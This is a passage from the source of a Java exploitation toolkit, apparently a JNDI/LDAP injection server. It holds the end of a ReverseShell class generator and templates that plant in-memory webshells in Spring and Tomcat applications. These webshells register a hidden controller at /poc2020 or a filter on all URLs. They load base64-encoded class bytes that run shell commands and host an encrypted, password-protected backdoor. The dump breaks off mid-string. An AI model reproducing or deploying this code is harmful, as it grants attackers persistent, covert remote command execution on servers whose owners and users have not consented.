mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
mv.visitCode();
Label l0 = new Label();
mv.visitLabel(l0);
mv.visitLineNumber(27, l0);
mv.visitInsn(RETURN);
Label l1 = new Label();
mv.visitLabel(l1);
mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0);
mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
mv.visitLocalVariable("handlers", "[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 2);
mv.visitMaxs(0, 3);
mv.visitEnd();
}
{
mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[]{"com/sun/org/apache/xalan/internal/xsltc/TransletException"});
mv.visitCode();
Label l0 = new Label();
mv.visitLabel(l0);
mv.visitLineNumber(32, l0);
mv.visitInsn(RETURN);
Label l1 = new Label();
mv.visitLabel(l1);
mv.visitLocalVariable("this", "LReverseShell;", null, l0, l1, 0);
mv.visitLocalVariable("document", "Lcom/sun/org/apache/xalan/internal/xsltc/DOM;", null, l0, l1, 1);
mv.visitLocalVariable("iterator", "Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;", null, l0, l1, 2);
mv.visitLocalVariable("handler", "Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;", null, l0, l1, 3);
mv.visitMaxs(0, 4);
mv.visitEnd();
}
cw.visitEnd();
bytes = cw.toByteArray();
}
}
================================================
FILE: src/main/java/com/feihong/ldap/template/SpringMemshellTemplate.java
================================================
package com.feihong.ldap.template;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.ContextLoader;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.support.XmlWebApplicationContext;
import sun.misc.BASE64Decoder;
import java.lang.reflect.Method;
import java.util.Set;
public class SpringMemshellTemplate extends AbstractTranslet {
public SpringMemshellTemplate(){
System.out.println("[+] Add Dynamic Controller");
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Class clazz = null;
try{
clazz = classLoader.loadClass("com.feihong.ldap.template.DynamicFilterTemplate");
}catch(ClassNotFoundException e){
try{
BASE64Decoder base64Decoder = new BASE64Decoder();
String codeClass = "yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmBwEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnpBUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUWGxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAF0AQgABAF4ABAACAF8AYAAAAAIAYQBiAAAAAgBjAGIAAAACAGQAYgAAAAUAAQBlAGYAAQBnAAAAWQACAAEAAAAbKrcAASoSArUAAyoSBLUABSoSBrUAByq3AAixAAAAAgBoAAAAGgAGAAAAFgAEABEACgASABAAEwAWABcAGgAYAGkAAAAMAAEAAAAbAGoAawAAAAEAbABtAAIAZwAAADUAAAACAAAAAbEAAAACAGgAAAAGAAEAAAAdAGkAAAAWAAIAAAABAGoAawAAAAAAAQBuAG8AAQBwAAAABAABAHEAAQByAHMAAgBnAAAC5AAHAAoAAAGpsgAJEgq2AAsrEgy5AA0CAMYAkSsSDLkADQIAEg62AA+ZAIErKrQAA7kADQIAOgQZBMYAbRkEtgAQmgBlAToFsgAREhK2AA+ZABsGvQATWQMSFFNZBBIVU1kFGQRTOgWnABgGvQATWQMSFlNZBBIXU1kFGQRTOgW7ABhZuAAZGQW2ABq2ABu3ABwSHbYAHrYAHzoGLLkAIAEAGQa2ACGnAQorwAAiKrQABbkAIwIAxgDyK8AAIrkAJAEAEiW2AA+ZANQqtAAHOgQrwAAiuQAmAQASJxkEuQAoAwASKbgAKjoFGQUFuwArWbsALFm3AC0rwAAiuQAmAQASJ7kALgIAtgAvEjC2ADG2ADK2ADMSKbcANLYANRkFuwA2WbcANyu5ADgBALYAObYAOrYAOzoGKrQAPBI9Bb0APlkDEj9TWQQSQFO2AEEBBb0AQlkDGQZTWQS4AEO2AERTtgBFwAA+OgcZB7YARjoIGQcSRwW9AD5ZAxJIU1kEEklTtgBBOgkZCRkIBb0AQlkDK1NZBCxTtgBFV6cAFToEGQS2AEunAAstKyy5AEwDALEAAQCxAZMBlgBKAAMAaAAAAG4AGwAAACEACAAkACMAJgAvACcAPAAoAD8AKQBKACoAYgAsAHcALgCTAC8AngAxALEANADCADUAyAA2ANoANwDhADgBFQA5AS8AOgFhADsBaAA8AX8APQGTAEEBlgA/AZgAQAGdAEEBoABDAagARQBpAAAAjgAOAD8AXwB0AHUABQCTAAsAdgBiAAYALwBvAHcAYgAEAMgAywB4AGIABADhALIAeQB6AAUBLwBkAHsAfAAGAWEAMgB9AGAABwFoACsAfgB/AAgBfwAUAIAAgQAJAZgABQCCAIMABAAAAakAagBrAAAAAAGpAIQAhQABAAABqQCGAIcAAgAAAakAiACJAAMAigAAABkACP0AYgcAiwcAjBT5ACYC+wDxQgcAjQkHAHAAAAAGAAIAWQBxAAEAjgBmAAEAZwAAACsAAAABAAAAAbEAAAACAGgAAAAGAAEAAABKAGkAAAAMAAEAAAABAGoAawAAAAIAjwBmAAEAZwAAAgMABwAHAAAAqbgAQ7YAREwqKxJNtgBOtQA8pwB/TSu2AFBOAToEGQTHADMtEkKlAC0tEj0GvQA+WQMSP1NZBLIAUVNZBbIAUVO2AEE6BKf/2DoFLbYAU06n/84SVDoFuwA2WbcANxkFtgA6OgYZBAS2AFUqGQQrBr0AQlkDGQZTWQQDuABWU1kFGQa+uABWU7YARcAAPrUAPKcAGEwrtgBYpwAQTCu2AFqnAAhMK7YAXLEABQAHABEAFABPACgARQBIAFIAAACQAJMAVwAAAJAAmwBZAAAAkACjAFsAAwBoAAAAagAaAAAATgAHAFAAEQBgABQAUQAVAFIAGgBTAB0AVAAoAFYARQBZAEgAVwBKAFgATwBZAFIAXABWAF0AZABeAGoAXwCQAGcAkwBhAJQAYgCYAGcAmwBjAJwAZACgAGcAowBlAKQAZgCoAGgAaQAAAHAACwBKAAUAkACRAAUAGgB2AJIAYAADAB0AcwCTAIEABABWADoAlABiAAUAZAAsAJUAfAAGABUAewCCAJYAAgAHAIkAlwCYAAEAlAAEAIIAmQABAJwABACCAJoAAQCkAAQAggCbAAEAAACpAGoAawAAAIoAAAA6AAn/ABQAAgcAnAcAnQABBwCe/gAIBwCeBwCfBwCgagcAoQn/AD0AAQcAnAAAQgcAokcHAKNHBwCkBAABAKUAAAACAKY=";
byte[] bytes = base64Decoder.decodeBuffer(codeClass);
Method method = null;
Class clz = classLoader.getClass();
while(method == null && clz != Object.class ){
try{
method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
}catch(NoSuchMethodException ex){
clz = clz.getSuperclass();
}
}
method.setAccessible(true);
clazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length);
}catch (Exception ex){
//continue;
}
}
XmlWebApplicationContext context = null;
try{
context = (XmlWebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
}catch(Exception e){
context = (XmlWebApplicationContext) ContextLoader.getCurrentWebApplicationContext();
}
try{
// 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
context.getBeanFactory().registerSingleton("dynamicController", clazz.newInstance());
}catch(Exception e){
System.out.println(e);
//continue
}
try{
Object requestMappingHandlerMapping = context.getBean(Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"));
// 防止重复添加,重复添加会导致不可用
Object obj = requestMappingHandlerMapping.getClass().getMethod("getHandlerMethods").invoke(requestMappingHandlerMapping);
Method method = obj.getClass().getMethod("keySet");
method.setAccessible(true);
Set mappingInfos = (Set)method.invoke(obj);
for(Object requestMappingInfo : mappingInfos){
if(requestMappingInfo.toString().contains("/poc2020")){
return;
}
}
method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("detectHandlerMethods", Object.class);
method.setAccessible(true);
method.invoke(requestMappingHandlerMapping, "dynamicController");
return;
}catch(Exception e){
System.out.println(e);
//continue;
}
try{
// 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean
Object dh = context.getBean(Class.forName("org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping"));
// 3. 反射获得 registerHandler Method
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractUrlHandlerMapping").getDeclaredMethod("registerHandler", String.class, Object.class);
method.setAccessible(true);
// 4. 将 dynamicController 和 URL 注册到 handlerMap 中
method.invoke(dh, "/poc2020", "dynamicController");
return;
}catch(Exception e){
System.out.println(e);
//continue
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
================================================
FILE: src/main/java/com/feihong/ldap/template/Template.java
================================================
package com.feihong.ldap.template;
public interface Template {
void generate();
byte[] getBytes();
void cache();
String getClassName();
}
================================================
FILE: src/main/java/com/feihong/ldap/template/TomcatMemshellTemplate.java
================================================
package com.feihong.ldap.template;
import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.modeler.Registry;
import sun.misc.BASE64Decoder;
import javax.management.DynamicMBean;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.servlet.DispatcherType;
import javax.servlet.Filter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Set;
public class TomcatMemshellTemplate extends AbstractTranslet {
public TomcatMemshellTemplate(){
try{
String filterName = "dynamicFilter";
String urlPattern = "/*";
MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object obj = field.get(mbeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
Repository repository = (Repository) field.get(obj);
Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
for(NamedObject namedObject : objectSet){
try{
DynamicMBean dynamicMBean = namedObject.getObject();
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
obj = field.get(dynamicMBean);
field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext)field.get(obj);
field = standardContext.getClass().getDeclaredField("filterConfigs");
field.setAccessible(true);
HashMap<String, ApplicationFilterConfig> map = (HashMap<String, ApplicationFilterConfig>) field.get(standardContext);
if(map.get(filterName) == null) {
System.out.println("[+] Add Dynamic Filter");
//生成 FilterDef
//由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写
Class filterDefClass = null;
try {
filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
} catch (ClassNotFoundException e) {
filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
}
Object filterDef = filterDefClass.newInstance();
filterDef.getClass().getDeclaredMethod("setFilterName", String.class).invoke(filterDef, filterName);
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Class clazz;
try{
clazz = cl.loadClass("com.feihong.ldap.template.DynamicFilterTemplate");
}catch(ClassNotFoundException e){
BASE64Decoder base64Decoder = new BASE64Decoder();
String codeClass = "yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmB